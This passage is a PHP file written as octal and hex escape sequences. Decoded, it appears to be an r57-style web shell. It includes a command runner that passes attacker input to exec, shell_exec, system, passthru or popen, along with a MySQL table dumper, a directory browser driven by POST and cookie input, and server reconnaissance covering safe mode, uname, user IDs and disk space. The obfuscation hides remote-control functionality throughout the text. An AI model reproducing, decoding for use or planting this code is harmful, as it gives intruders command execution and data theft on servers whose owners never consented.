28\44\160\x65\x72\155\163\40\46\x20\x30\170\x30\70\60\60\x29\x20\x3f\x20\47\x73\x27\40\72\40\47\170\x27\x20\x29\40\72\12\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\50\x28\x24\160\145\162\x6d\163\x20\x26\x20\x30\170\60\x38\x30\x30\51\40\77\40\47\x53\x27\x20\72\40\47\55\x27\51\51\73\xa\12\57\x2f\x20\x47\x72\x6f\x75\x70\12\x24\151\x6e\x66\x6f\x20\x2e\x3d\40\x28\50\44\x70\145\x72\x6d\163\x20\x26\x20\60\170\x30\60\x32\60\51\x20\x3f\40\47\162\47\x20\72\40\x27\x2d\x27\51\73\12\44\151\x6e\146\157\x20\x2e\75\x20\x28\50\44\x70\145\162\155\163\x20\46\40\x30\x78\x30\x30\61\x30\51\40\x3f\x20\47\167\47\40\x3a\40\47\55\47\x29\x3b\12\x24\x69\x6e\x66\x6f\x20\x2e\75\40\x28\50\x24\x70\x65\162\155\x73\x20\x26\40\60\170\60\60\60\70\51\x20\x3f\xa\40\40\x20\40\40\40\40\x20\40\x20\x20\x20\x28\50\x24\160\145\x72\155\x73\40\46\40\x30\170\x30\x34\x30\x30\51\x20\77\x20\47\x73\47\40\x3a\40\47\170\47\x20\51\40\72\12\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x28\x28\44\x70\145\162\155\163\x20\x26\x20\x30\170\x30\64\x30\x30\x29\40\77\x20\x27\123\47\40\72\x20\47\55\47\51\x29\73\xa\12\57\x2f\40\127\x6f\x72\x6c\144\xa\x24\151\156\146\157\40\x2e\x3d\40\x28\x28\x24\x70\x65\x72\155\163\40\x26\x20\x30\x78\60\60\60\x34\x29\40\77\x20\47\162\x27\40\72\x20\47\55\x27\51\73\xa\x24\x69\156\146\x6f\x20\x2e\75\40\50\x28\x24\x70\x65\162\155\163\x20\x26\40\60\x78\x30\60\60\x32\x29\40\x3f\40\47\x77\x27\40\x3a\40\47\55\x27\x29\73\xa\44\x69\156\x66\x6f\40\56\75\x20\50\x28\44\160\145\162\155\163\40\x26\40\60\170\60\x30\x30\x31\51\x20\x3f\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x28\50\x24\160\145\162\x6d\x73\40\x26\40\x30\x78\60\62\x30\x30\x29\40\x3f\x20\x27\164\47\x20\x3a\x20\x27\x78\47\x20\x29\x20\x3a\12\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x28\x28\x24\160\145\162\x6d\163\40\46\40\x30\170\60\62\60\60\x29\x20\x3f\40\x27\124\47\x20\72\x20\x27\55\47\51\51\x3b\xa\12\162\x65\164\x75\x72\x6e\40\x24\x69\x6e\146\x6f\73\12\175\12\xa\xa\x66\x75\x6e\143\x74\x69\x6f\x6e\x20\x64\141\164\141\x64\x75\155\160\40\50\44\x74\x61\142\x6c\x65\51\40\173\x20\x2f\x2f\40\x3c\55\55\x2d\40\164\x68\x78\40\164\x6f\40\155\162\x77\x65\142\155\x61\x73\164\x65\x72\40\146\x6f\x72\x20\146\x75\x6e\x63\164\151\x6f\156\xa\12\x20\40\x23\40\x43\162\x65\157\40\x6c\x61\40\166\x61\x72\151\x61\142\x69\x6c\x65\x20\x24\162\x65\x73\x75\x6c\164\xa\x20\40\x24\162\145\x73\x75\x6c\x74\x20\56\x3d\x20\x22\x23\x20\x44\x75\155\x70\x20\157\x66\x20\x24\164\141\142\x6c\x65\40\x5c\156\x22\73\xa\40\x20\44\x72\145\163\165\154\164\40\x2e\75\x20\42\43\40\104\165\x6d\x70\x20\x44\101\124\x45\40\x3a\x20\x22\x20\x2e\x20\144\141\164\x65\x28\x22\x64\55\x4d\x2d\131\42\x29\x20\x2e\x22\x5c\x6e\134\x6e\42\73\xa\12\40\x20\x23\40\103\x6f\156\164\x6f\x20\x69\x20\143\x61\x6d\160\x69\x20\160\x72\x65\163\x65\156\164\x69\x20\x6e\x65\x6c\154\141\40\164\x61\142\145\x6c\x6c\x61\xa\x20\40\x24\x71\165\x65\x72\x79\x20\75\x20\155\171\x73\x71\154\x5f\x71\165\x65\x72\x79\x28\x22\x73\x65\x6c\x65\143\x74\40\x2a\40\x66\x72\157\155\x20\44\x74\x61\142\x6c\145\x22\51\x3b\12\x20\40\44\x6e\x75\x6d\x5f\146\151\145\x6c\144\x73\x20\75\40\x40\x6d\x79\163\161\x6c\137\x6e\165\x6d\137\146\151\145\154\x64\x73\50\44\161\165\x65\x72\171\x29\73\12\xa\40\x20\x23\40\x43\157\156\x74\157\x20\151\x6c\x20\x6e\x75\155\x65\x72\x6f\40\x64\151\40\162\151\x67\150\145\x20\x70\162\x65\163\145\156\164\x69\40\156\x65\x6c\154\141\40\x74\x61\x62\145\154\154\141\12\40\x20\44\156\165\155\x72\x6f\167\40\75\x20\x6d\x79\x73\x71\154\x5f\156\x75\155\137\162\157\x77\x73\50\44\x71\165\145\162\x79\51\x3b\xa\12\40\x20\43\40\120\141\x73\163\x6f\x20\x63\x6f\156\40\x75\156\x20\143\151\x63\154\x6f\40\146\x6f\162\40\164\165\x74\164\x65\x20\x6c\145\x20\x72\151\147\x68\145\40\x64\x65\x6c\x6c\141\x20\164\x61\142\145\154\x6c\141\12\40\40\x66\157\162\40\x28\44\151\40\75\x30\x3b\x20\44\x69\74\x24\156\x75\155\162\x6f\x77\73\40\x24\x69\53\x2b\x29\12\x20\40\x7b\xa\40\40\40\x20\x24\x72\157\167\40\x3d\40\x6d\171\163\x71\154\x5f\x66\x65\164\143\x68\x5f\x72\x6f\x77\x28\x24\161\165\x65\162\x79\51\x3b\12\xa\40\x20\x20\x20\x23\x20\x52\151\143\x72\x65\157\x20\154\141\40\x74\x69\160\151\x63\141\40\163\x69\x6e\164\x61\163\163\x69\x20\x64\151\x20\165\x6e\40\x63\x6f\x6d\165\x6e\145\40\x44\x75\155\x70\12\40\x20\40\40\x24\x72\145\x73\x75\x6c\x74\x20\56\x3d\x20\x22\111\x4e\x53\105\122\124\40\x49\116\x54\x4f\x20\42\56\44\x74\141\x62\x6c\x65\x2e\42\40\126\101\114\x55\x45\x53\x28\x22\73\12\xa\40\x20\x20\40\x23\x20\103\x6f\x6e\40\165\x6e\x20\163\145\143\157\x6e\x64\157\x20\x63\151\x63\154\x6f\40\x66\x6f\162\x20\x73\x74\141\155\160\157\40\x69\x20\x76\141\x6c\x6f\162\x69\40\144\151\40\x74\165\x74\x74\151\x20\151\40\x63\x61\x6d\x70\151\12\40\40\40\40\x23\x20\164\x72\157\x76\x61\164\x69\40\x69\x6e\40\x6f\147\x6e\151\x20\162\151\147\141\12\40\40\40\40\146\157\x72\50\44\152\x3d\x30\73\40\44\x6a\x3c\44\x6e\x75\155\137\146\x69\145\x6c\x64\163\x3b\40\x24\152\x2b\x2b\51\x20\173\12\40\x20\x20\40\x20\40\x24\162\x6f\x77\133\44\152\x5d\x20\x3d\40\x61\144\x64\163\154\x61\163\x68\145\163\x28\44\162\x6f\167\x5b\x24\152\x5d\x29\x3b\12\x20\40\x20\x20\x20\40\x24\x72\x6f\x77\133\x24\152\135\40\x3d\x20\145\162\x65\x67\137\162\145\x70\154\141\x63\145\x28\42\134\x6e\42\54\x22\134\134\x6e\x22\54\x24\162\157\167\x5b\x24\x6a\135\x29\x3b\xa\40\40\x20\40\x20\40\x69\x66\x20\x28\151\x73\163\145\x74\x28\44\x72\x6f\167\x5b\44\152\x5d\x29\51\40\44\x72\x65\163\x75\154\x74\x20\56\x3d\40\x22\x5c\x22\44\x72\x6f\167\133\44\152\x5d\134\42\x22\x20\73\x20\x65\x6c\x73\145\40\x24\x72\145\163\165\x6c\164\40\x2e\x3d\x20\x22\x5c\x22\x5c\42\x22\x3b\xa\40\x20\x20\40\x20\40\151\146\40\x28\x24\152\74\x28\44\x6e\165\x6d\x5f\x66\x69\145\154\144\x73\x2d\61\51\x29\40\44\x72\x65\163\x75\x6c\164\x20\56\x3d\40\42\54\42\73\12\40\x20\40\40\175\12\xa\x20\40\40\40\43\40\103\x68\151\165\144\x6f\40\x6c\47\151\163\164\162\x75\x7a\151\157\x6e\145\x20\x49\x4e\x53\x45\122\x54\12\40\x20\40\x20\x24\162\x65\x73\x75\154\x74\40\56\x3d\40\x22\51\x3b\x5c\156\x22\73\xa\40\x20\x7d\xa\12\x20\x20\x72\x65\x74\165\162\156\40\44\162\145\x73\x75\154\164\x20\x2e\x20\x22\134\x6e\134\156\134\x6e\42\73\12\175\12\xa\57\x2f\40\165\x73\151\x6e\x67\x20\167\x68\x69\143\x68\40\124\110\130\40\124\117\40\x52\x35\67\xa\146\x75\x6e\x63\x74\x69\157\156\40\x77\x68\x69\x63\x68\x61\50\x24\x70\x72\51\xa\x7b\12\x24\160\141\164\150\40\x3d\40\145\x78\141\x28\x22\x77\x68\x69\143\150\x20\44\160\x72\42\51\73\xa\151\x66\x28\41\145\155\160\x74\171\50\x24\160\x61\164\x68\x29\x29\x20\173\x20\162\x65\164\x75\x72\156\40\x24\x70\141\164\x68\x3b\40\175\x20\145\154\x73\x65\40\173\x20\162\x65\x74\x75\162\156\40\x24\160\162\x3b\x20\175\12\175\12\57\57\40\145\170\x65\143\165\x74\x69\156\147\40\x63\157\x6d\155\141\156\x64\x20\124\110\130\x20\x54\x4f\40\x52\65\67\12\146\x75\x6e\143\164\x69\x6f\156\40\x65\x78\x61\x28\44\x63\146\145\51\12\x7b\12\x20\44\x72\145\x73\x20\x3d\40\x27\x27\73\xa\x20\151\146\40\x28\x21\145\x6d\x70\164\x79\50\44\143\x66\x65\x29\51\12\x20\173\xa\40\40\151\146\50\x66\165\x6e\x63\164\x69\x6f\156\137\145\x78\x69\x73\164\163\50\x27\145\x78\145\x63\47\51\51\xa\x20\40\40\173\12\x20\40\40\x20\100\x65\170\x65\143\x28\x24\143\x66\145\x2c\x24\162\145\163\x29\73\12\40\x20\x20\x20\44\x72\x65\163\40\x3d\x20\x6a\157\x69\156\x28\42\134\156\42\x2c\44\x72\x65\163\x29\x3b\xa\x20\40\x20\x7d\xa\40\40\145\154\x73\145\x69\146\x28\146\165\x6e\x63\164\x69\157\x6e\137\x65\170\x69\163\164\x73\x28\47\163\x68\145\154\x6c\137\x65\170\x65\x63\47\51\x29\xa\40\40\x20\x7b\12\x20\x20\40\40\44\x72\145\x73\x20\x3d\x20\100\163\x68\x65\x6c\154\137\x65\170\145\x63\50\x24\x63\146\145\x29\x3b\12\x20\40\40\175\12\x20\40\145\154\x73\x65\x69\x66\x28\146\165\156\143\x74\x69\x6f\156\x5f\145\x78\x69\x73\164\x73\50\x27\x73\171\163\164\x65\x6d\x27\51\x29\12\40\x20\x20\173\xa\40\40\x20\x20\x40\157\142\x5f\x73\164\141\x72\x74\50\x29\73\12\40\40\x20\40\100\x73\x79\163\164\145\x6d\x28\44\x63\x66\145\x29\73\12\40\40\x20\40\x24\x72\x65\163\40\75\x20\x40\x6f\142\x5f\x67\x65\164\137\x63\157\156\164\145\156\x74\x73\50\51\73\xa\x20\40\x20\40\x40\x6f\x62\x5f\x65\x6e\x64\x5f\x63\x6c\x65\x61\156\50\51\73\xa\40\40\x20\175\12\x20\40\x65\154\x73\x65\x69\x66\x28\x66\x75\156\x63\x74\151\x6f\x6e\x5f\145\170\x69\x73\x74\163\50\47\160\x61\x73\163\x74\150\162\165\47\x29\51\xa\x20\40\x20\173\xa\x20\x20\40\x20\x40\x6f\142\x5f\163\x74\141\x72\x74\50\x29\73\12\x20\x20\40\40\x40\160\141\x73\x73\164\x68\162\x75\50\44\143\x66\145\51\x3b\12\x20\x20\40\x20\x24\162\145\x73\x20\75\40\100\x6f\x62\x5f\147\145\164\x5f\x63\157\x6e\164\x65\x6e\x74\163\50\x29\x3b\12\40\x20\x20\x20\100\x6f\142\137\145\x6e\x64\137\143\x6c\x65\141\156\x28\51\x3b\xa\x20\40\40\x7d\xa\40\40\145\x6c\163\145\151\146\50\x40\151\x73\x5f\x72\145\x73\x6f\165\162\143\145\x28\44\x66\x20\x3d\x20\100\x70\157\160\x65\x6e\x28\44\x63\x66\145\54\42\162\x22\x29\51\51\12\x20\x20\x7b\12\40\40\40\x24\x72\145\x73\40\75\x20\x22\42\73\xa\x20\x20\x20\x77\x68\151\154\145\50\x21\x40\x66\145\157\x66\50\44\146\51\x29\40\173\x20\44\x72\x65\163\40\56\75\x20\x40\146\x72\x65\141\x64\x28\44\146\54\x31\60\62\x34\x29\x3b\x20\x7d\12\40\x20\40\100\x70\x63\x6c\x6f\163\x65\x28\44\146\51\x3b\12\40\x20\175\xa\40\x7d\12\40\x72\x65\x74\165\x72\156\x20\44\x72\x65\x73\x3b\12\x7d\12\57\57\x20\x66\165\x6e\x63\x74\x69\157\156\x20\x70\x61\162\151\12\x66\165\x6e\x63\164\x69\x6f\x6e\40\x70\x61\x72\151\50\44\156\x75\155\x29\x20\173\12\162\x65\164\165\162\156\x20\50\x24\156\165\155\x25\x32\x20\x3d\75\40\x30\x29\x20\x3f\40\x54\122\125\105\x20\72\40\106\x41\114\123\105\73\12\175\12\xa\xa\57\x2f\x20\x47\145\x74\164\x69\x6e\147\40\x44\151\162\145\143\x74\157\162\x79\x2e\56\xa\151\x66\x20\x28\44\137\120\x4f\x53\124\x5b\47\144\151\x72\x27\x5d\40\75\75\40\42\42\x29\40\x7b\11\12\11\151\146\40\x28\44\x5f\x43\117\x4f\113\x49\x45\133\x27\144\151\162\x27\x5d\40\75\75\40\x22\42\x29\40\173\12\x9\11\44\x64\151\162\75\x72\x65\141\154\160\x61\164\150\50\x22\x2e\42\x29\73\xa\11\175\xa\x9\x65\x6c\x73\145\xa\x9\x7b\x9\12\x9\x9\x24\144\x20\75\x20\x73\164\162\x5f\162\x65\x70\x6c\141\x63\145\50\42\x5c\134\42\x2c\104\111\122\x45\103\124\117\x52\131\137\123\105\120\101\x52\x41\x54\x4f\x52\x2c\x20\40\x24\137\x43\117\117\113\111\105\x5b\47\144\151\162\x27\135\x29\x3b\xa\x9\11\x24\x64\40\75\40\163\164\x72\x5f\x72\x65\x70\x6c\141\143\x65\50\x22\x5c\x5c\x5c\134\x22\54\x22\x5c\134\42\x2c\40\x24\x5f\x43\117\x4f\x4b\111\105\133\47\144\151\x72\47\x5d\51\x3b\xa\x9\x9\44\144\151\162\x20\75\x20\x24\144\x3b\xa\x9\x7d\xa\x7d\xa\145\154\x73\x65\12\173\xa\11\x24\x64\151\x72\x20\x3d\40\x73\164\x72\137\x72\x65\x70\154\141\x63\x65\x28\x22\134\x5c\x22\54\104\111\122\105\103\x54\x4f\x52\131\137\x53\105\x50\x41\122\101\124\x4f\122\x2c\44\137\x50\117\x53\124\x5b\47\x64\151\x72\x27\x5d\51\x3b\12\11\x24\x64\x20\x3d\x20\163\x74\x72\137\162\145\160\x6c\141\143\x65\50\42\x5c\x5c\x5c\134\x22\54\x22\x5c\134\42\54\x20\44\x5f\120\117\123\x54\x5b\47\x64\151\162\x27\x5d\51\x3b\12\11\x73\145\x74\143\157\157\x6b\151\145\50\42\x64\x69\x72\x22\54\x24\144\x69\162\x29\73\xa\175\xa\xa\x69\x66\x20\x28\163\x75\142\x73\164\x72\x28\x24\144\151\x72\54\55\61\51\x20\41\75\x20\x44\111\122\105\x43\x54\117\122\x59\137\x53\x45\x50\x41\x52\101\124\117\122\51\x20\x7b\x24\x64\151\162\40\x2e\x3d\x20\104\111\x52\105\x43\x54\x4f\122\131\x5f\123\105\120\101\x52\101\x54\x4f\122\x3b\175\xa\57\x2f\40\107\145\164\x74\151\156\x67\x20\x73\x6f\x6d\x65\x74\150\151\x6e\x67\x2e\x2e\x2e\12\44\163\141\146\145\x6d\157\x64\x65\x5f\157\x66\146\x5f\155\x73\x67\x20\75\40\42\74\x66\157\156\164\40\x63\x6f\154\157\162\x3d\147\x72\145\145\x6e\76\x53\x61\146\145\x20\x4d\157\x64\145\x3a\x20\x4f\x46\106\x3c\x2f\146\x6f\x6e\x74\76\74\x62\x72\40\x2f\76\x22\73\12\44\163\x61\x66\x65\x6d\x6f\x64\x65\137\157\156\x5f\x6d\163\x67\x20\x3d\40\x22\x3c\x66\157\x6e\x74\x20\x63\x6f\x6c\x6f\162\75\x72\x65\144\x3e\x53\x61\x66\x65\40\x4d\157\144\x65\x3a\40\117\116\74\x2f\x66\157\x6e\x74\76\x3c\142\162\40\57\x3e\x22\73\xa\44\147\x70\x63\137\x6f\146\146\137\x6d\163\147\40\75\x20\42\74\x66\157\x6e\x74\x20\x63\157\x6c\x6f\x72\75\147\x72\145\145\x6e\x3e\x4d\x61\x67\151\143\x20\121\x75\157\x74\145\x73\72\x20\x4f\106\106\x3c\x2f\x66\157\x6e\164\x3e\74\x62\x72\x20\57\x3e\x22\x3b\xa\44\x67\x70\143\137\x6f\x6e\x5f\x6d\163\147\x20\75\40\x22\74\x66\157\x6e\164\40\x63\x6f\154\x6f\x72\x3d\162\x65\144\76\115\x61\147\x69\143\40\121\165\x6f\164\x65\x73\72\x20\x4f\x4e\74\x2f\146\x6f\156\164\x3e\x3c\x62\162\40\x2f\x3e\42\x3b\xa\44\x61\165\146\137\157\156\137\x6d\163\x67\x20\x3d\40\x22\x3c\x66\157\156\164\40\x63\x6f\154\157\x72\75\147\x72\x65\x65\x6e\x3e\101\154\x6c\157\167\x20\125\x52\114\x20\x46\x6f\160\145\156\x3a\x20\117\116\74\x2f\146\157\x6e\164\76\74\x62\x72\40\x2f\76\42\x3b\12\x24\x61\165\x66\137\x6f\x66\x66\137\155\x73\x67\40\75\x20\42\x3c\146\157\x6e\x74\40\143\x6f\154\x6f\162\75\162\x65\x64\76\101\154\154\157\167\40\125\x52\x4c\x20\x46\157\x70\145\x6e\72\x20\117\x46\x46\74\x2f\146\157\156\164\x3e\x3c\x62\x72\40\x2f\76\x22\x3b\xa\x24\162\x65\147\x6c\x6f\142\141\x6c\163\137\x6f\x6e\137\x6d\x73\x67\x20\75\40\42\x3c\146\157\156\x74\40\x63\157\154\x6f\x72\75\147\162\145\145\x6e\76\x52\x65\147\x69\163\164\145\162\40\107\x6c\157\142\141\x6c\x73\x3a\x20\x4f\x4e\x3c\57\x66\x6f\x6e\164\x3e\x3c\142\x72\x20\57\x3e\x22\x3b\xa\44\x72\145\x67\x6c\157\142\x61\x6c\163\137\x6f\146\146\137\155\x73\147\40\75\40\163\164\162\x69\x70\163\x6c\x61\163\x68\145\x73\x28\42\x3c\146\x6f\x6e\x74\x20\x63\157\154\157\162\x3d\162\145\144\x3e\x52\145\147\x69\x73\164\x65\162\x20\x47\154\x6f\142\x61\x6c\163\x3a\40\x4f\106\106\x3c\x2f\x66\157\x6e\164\x3e\74\142\162\x20\x2f\76\42\51\73\12\x24\x75\156\x61\155\145\40\75\40\x70\150\160\x5f\165\x6e\x61\155\145\50\51\x3b\12\50\x69\x6e\x69\x5f\147\145\x74\50\x22\163\x61\146\x65\137\x6d\157\x64\x65\x22\x29\x20\75\x3d\x20\x30\51\40\x3f\x20\44\x73\141\x66\145\155\x6f\x64\x65\x20\75\x20\x24\163\x61\146\x65\x6d\157\144\145\137\157\146\x66\x5f\155\163\147\x20\72\40\44\163\x61\146\145\155\157\x64\x65\40\75\40\44\x73\x61\146\x65\155\157\144\x65\x5f\x6f\x6e\137\x6d\163\x67\73\12\50\151\156\151\x5f\147\x65\164\x28\x22\155\x61\147\x69\143\x5f\x71\x75\x6f\x74\x65\163\137\x67\160\x63\42\x29\x20\75\75\x20\60\51\x20\x3f\40\x24\x67\x70\x63\x20\x3d\40\x24\147\x70\x63\x5f\x6f\146\x66\x5f\x6d\163\147\x20\x3a\x20\44\x67\160\143\x20\75\40\44\x67\x70\x63\137\157\156\x5f\x6d\163\147\73\12\x28\x69\x6e\x69\137\147\x65\164\50\x22\141\154\154\157\167\137\x75\162\x6c\137\x66\x6f\160\x65\156\42\x29\x20\x3d\x3d\40\x31\51\40\77\x20\44\x61\x75\x66\40\75\40\44\141\x75\x66\x5f\157\156\137\x6d\163\x67\x20\72\40\44\x61\165\x66\40\75\40\44\141\x75\146\137\x6f\146\x66\x5f\155\x73\x67\73\xa\x28\x69\156\151\137\147\x65\x74\x28\42\x72\x65\x67\x69\163\x74\x65\x72\x5f\x67\x6c\157\x62\141\154\x73\x22\x29\x20\75\75\x20\x31\x29\x20\x3f\x20\44\162\145\147\x6c\157\142\x61\x6c\x73\x20\x3d\40\x24\x72\145\x67\x6c\157\142\x61\x6c\x73\x5f\x6f\156\x5f\155\x73\147\x20\x3a\x20\x24\x72\x65\x67\x6c\157\142\141\154\x73\x20\x3d\40\44\162\145\147\154\x6f\x62\141\154\x73\x5f\157\x66\146\x5f\155\x73\147\73\xa\12\x24\146\x72\145\x65\x73\160\x61\143\x65\x20\x3d\40\x64\151\x73\x6b\137\146\x72\x65\x65\137\163\x70\x61\x63\x65\50\x24\x64\151\162\x29\73\12\44\164\x6f\164\x61\154\x73\x70\141\143\145\x20\x3d\40\x64\x69\163\153\x5f\164\x6f\x74\141\154\x5f\x73\x70\x61\x63\145\50\44\144\151\162\x29\x3b\12\x24\160\145\x72\x63\145\156\164\146\x72\x65\145\40\75\40\x72\157\x75\156\144\x28\50\44\146\x72\x65\145\x73\160\141\x63\145\x2a\61\x30\x30\51\x2f\x24\164\x6f\x74\141\154\x73\x70\x61\x63\145\x29\x3b\xa\44\160\145\162\143\x65\x6e\x74\142\165\x73\171\x20\x3d\x20\61\60\x30\x2d\44\x70\145\162\x63\145\156\x74\x66\162\x65\x65\73\xa\x24\x66\x72\x65\145\163\160\x61\x63\145\x20\x3d\x20\151\156\x74\166\x61\x6c\50\x28\50\x24\146\162\x65\145\x73\160\141\x63\x65\57\61\60\62\64\51\x2f\61\60\x32\x34\x29\57\x31\60\x32\x34\x29\73\xa\x24\164\x6f\x74\x61\x6c\x73\x70\141\143\x65\40\75\x20\151\x6e\164\166\x61\154\x28\x28\x28\x24\164\x6f\x74\x61\154\x73\160\141\x63\145\x2f\x31\60\x32\x34\x29\57\x31\60\x32\64\x29\57\x31\x30\x32\x34\51\73\12\x24\x66\162\x65\x65\x73\160\141\143\145\40\x2e\x3d\x20\42\x20\107\102\x22\73\12\x24\164\x6f\164\141\154\163\x70\x61\143\x65\40\x2e\x3d\x20\42\40\107\102\42\x3b\xa\x24\143\165\162\162\x65\156\164\137\x75\163\x65\x72\40\x3d\x20\x22\127\x68\x6f\x20\141\162\145\40\x79\x6f\165\x3f\x20\x22\56\x67\145\164\x5f\x63\165\162\x72\x65\x6e\x74\137\165\x73\x65\162\x28\x29\x2e\42\x3c\142\162\x20\x2f\x3e\x22\73\12\44\x75\151\x64\x20\75\40\42\125\151\144\x3a\x20\x22\x2e\x67\x65\164\155\x79\x75\151\x64\50\51\56\x22\x20\107\x69\x64\72\40\x22\56\x67\x65\164\155\x79\x67\151\x64\x28\x29\x2e\x22\x3c\142\x72\40\x2f\76\x22\x3b\xa\xa\x20\12\151\146\x20\x28\44\x5f\x50\x4f\x53\x54\133\x27\155\157\x64\x65\x27\135\40\75\x3d\x20\x22\x22\51\40\x24\137\120\x4f\123\x54\133\47\x6d\157\x64\x65\x27\135\40\75\x20\x22\154\x73\42\x3b\xa\x69\146\x20\x28\x24\x5f\x50\x4f\x53\x54\133\x27\x6d\157\x64\x65\47\135\40\75\75\x20\x22\154\x73\x22\x29\40\173\xa\x2f\57\104\151\x72\x65\143\x74\157\162\171\x20\x6c\151\x73\x74\x69\x6e\x67\x20\12\44\157\165\x74\160\x75\x74\40\x2e\x3d\x20\x22\74\x62\162\40\x2f\76\x3c\142\x72\40\x2f\76\x44\x69\162\x65\x63\x74\x6f\162\x79\40\154\151\x73\x74\151\x6e\147\x20\133\x20\x7b\x24\x64\x69\162\x7d\40\x5d\x3c\142\x72\40\x2f\x3e\74\x64\151\166\x20\141\154\x69\147\x6e\75\154\145\146\164\x3e\x22\73\12\x24\x6f\165\164\x70\x75\x74\x20\x2e\x3d\40\47\74\x74\x61\x62\x6c\145\40\167\x69\x64\164\150\75\x22\61\x30\x30\x25\42\x20\x62\157\x72\144\145\x72\75\x22\60\x22\40\x63\x65\x6c\x6c\x73\160\x61\143\x69\x6e\147\75\42\60\42\x20\x63\x65\154\x6c\x70\x61\x64\x64\x69\156\x67\x3d\x22\60\42\76\xa\x20\40\x3c\164\x72\x3e\12\12\x20\x20\40\40\x3c\164\x64\40\x73\164\x79\x6c\x65\x3d\x22\142\x6f\x72\x64\145\x72\55\x62\x6f\164\x74\x6f\155\72\43\106\106\106\106\x46\106\x20\61\x70\x78\x20\x73\x6f\x6c\x69\x64\73\42\x20\x77\x69\144\164\x68\x3d\x22\x31\x30\x25\x22\x3e\x70\145\162\x6d\x73\74\x2f\x74\x64\x3e\xa\11\74\164\144\40\x73\164\171\154\145\x3d\x22\x62\157\x72\x64\x65\162\x2d\x62\157\x74\x74\x6f\x6d\72\x23\106\106\106\x46\106\x46\40\x31\160\170\40\x73\157\x6c\151\x64\73\42\40\167\151\144\x74\x68\75\42\65\45\x22\76\x26\156\x62\163\160\x3b\74\x2f\164\x64\x3e\xa\x20\40\x20\x20\74\164\x64\40\x73\164\171\x6c\x65\x3d\x22\142\x6f\x72\x64\x65\x72\x2d\142\x6f\164\x74\x6f\155\x3a\43\106\x46\106\106\x46\106\40\61\x70\x78\40\x73\x6f\154\x69\x64\73\x22\40\x77\x69\144\x74\x68\x3d\x22\x35\x30\45\42\x3e\156\141\155\145\74\x2f\x74\x64\76\xa\11\x3c\164\144\x20\x73\164\x79\x6c\145\75\x22\x62\157\162\144\x65\x72\x2d\x62\x6f\x74\x74\x6f\x6d\72\43\106\106\106\106\106\x46\x20\x31\160\170\x20\163\157\154\151\x64\x3b\42\40\167\151\x64\164\x68\x3d\x22\62\60\x25\x22\76\x6f\167\156\x65\162\x2f\x67\162\157\x75\x70\x3c\x2f\x74\144\x3e\12\40\40\x20\40\74\164\x64\x20\x73\x74\x79\154\145\x3d\x22\142\157\x72\x64\145\162\x2d\142\157\164\164\x6f\x6d\72\43\106\x46\x46\106\106\x46\40\x31\160\x78\40\x73\157\154\x69\x64\x3b\x22\40\167\151\144\164\x68\x3d\42\x31\x35\x25\x22\x3e\141\143\x74\151\157\x6e\x73\74\57\x74\144\76\xa\x20\40\x3c\x2f\164\162\76\47\73\12\44\157\x70\145\x6e\144\x69\162\x20\75\40\x6f\x70\145\x6e\x64\x69\x72\x28\44\144\x69\162\51\157\x72\40\x70\162\151\x6e\x74\50\42\x3c\x66\157\x6e\164\40\x63\x6f\154\x6f\162\x3d\162\145\x64\x3e\x43\x61\x6e\x27\164\x20\x6f\x70\145\x6e\x20\x64\151\x72\x65\143\164\x6f\x72\171\x3c\x2f\146\x6f\x6e\164\76\x22\x29\x3b\xa\44\x69\x20\75\40\61\73\12\167\x68\x69\x6c\145\40\50\x24\x66\x69\x6c\145\x3d\x72\145\x61\144\x64\151\162\x28\44\157\160\x65\156\x64\151\162\x29\x29\x7b\xa\44\x63\x6f\154\x6f\162\x20\75\40\42\43\63\63\x33\63\63\63\x22\x3b\12\12\44\x69\143\157\156\163\x20\x3d\x20\141\x72\x72\141\x79\50\xa\x22\164\170\x74\42\40\75\76\40\42\x65\x78\x74\x5f\x74\x78\x74\42\x2c\xa\42\151\x6e\x69\x22\40\x3d\76\x20\42\145\x78\x74\x5f\x74\x78\164\42\54\xa\x22\163\161\154\x22\40\x3d\76\x20\x22\x65\170\164\x5f\164\170\164\42\x2c\12\42\x70\150\160\42\x20\x3d\x3e\x20\42\x65\x78\x74\x5f\160\150\x70\42\54\xa\42\x70\154\42\x20\75\x3e\40\42\145\170\x74\137\x70\154\42\54\12\x22\150\164\155\154\x22\40\x3d\76\40\42\145\170\x74\137\x68\x74\x6d\154\42\54\x20\x22\x68\164\155\x22\40\x3d\x3e\40\42\145\x78\x74\137\x68\x74\155\x6c\42\54\xa\42\x6d\160\63\42\x20\x3d\x3e\x20\42\145\x78\164\x5f\155\x70\63\42\54\xa\42\163\167\146\42\40\x3d\76\40\42\145\170\164\137\163\167\146\42\x2c\xa\42\162\141\162\42\x20\x3d\76\40\x22\145\x78\x74\137\x74\x61\162\x22\54\xa\x22\172\x69\x70\42\x20\75\76\x20\x22\145\170\164\x5f\x74\x61\x72\x22\54\12\x22\164\141\162\42\x20\75\x3e\x20\42\145\x78\164\x5f\x74\141\162\x22\54\12\x22\x67\172\x22\40\75\x3e\40\x22\x65\170\164\x5f\164\141\x72\42\54\12\42\x62\172\42\x20\75\x3e\x20\x22\145\x78\164\137\x74\x61\x72\x22\54\xa\x22\145\x78\x65\x22\40\75\x3e\x20\42\145\x78\164\137\145\170\145\42\x2c\xa\x22\152\160\x67\x22\x20\75\x3e\40\x22\145\170\164\137\x6a\160\x67\42\x2c\40\x22\160\x6e\x67\x22\x20\x3d\76\x20\x22\145\x78\x74\x5f\152\160\x67\x22\x2c\40\x22\x67\x69\146\x22\40\x3d\x3e\x20\42\x65\170\x74\137\x6a\x70\147\x22\x29\73\12\xa\11\151\146\40\50\44\144\x69\x72\x20\x3d\75\x20\x72\x65\141\154\x70\x61\164\x68\x28\42\x2e\x22\51\x29\40\x7b\xa\x9\x9\151\146\40\50\151\x73\x5f\146\151\x6c\x65\x28\x24\146\x69\x6c\145\51\x29\173\12\x9\x9\11\xa\x9\x9\11\x24\145\x78\164\40\75\x20\141\x72\x72\x61\171\137\x70\157\160\50\x65\x78\x70\154\157\x64\x65\x28\x22\x2e\x22\54\x24\146\151\x6c\x65\x29\x29\x3b\xa\x9\x9\x9\151\x66\x20\x28\141\162\162\x61\171\x5f\x6b\145\171\137\145\x78\x69\x73\164\x73\x28\44\x65\170\x74\54\40\x24\151\143\x6f\156\x73\x29\x29\x20\44\151\143\x6f\x6e\x20\x3d\40\44\x69\x63\x6f\156\x73\x5b\44\145\x78\x74\x5d\73\xa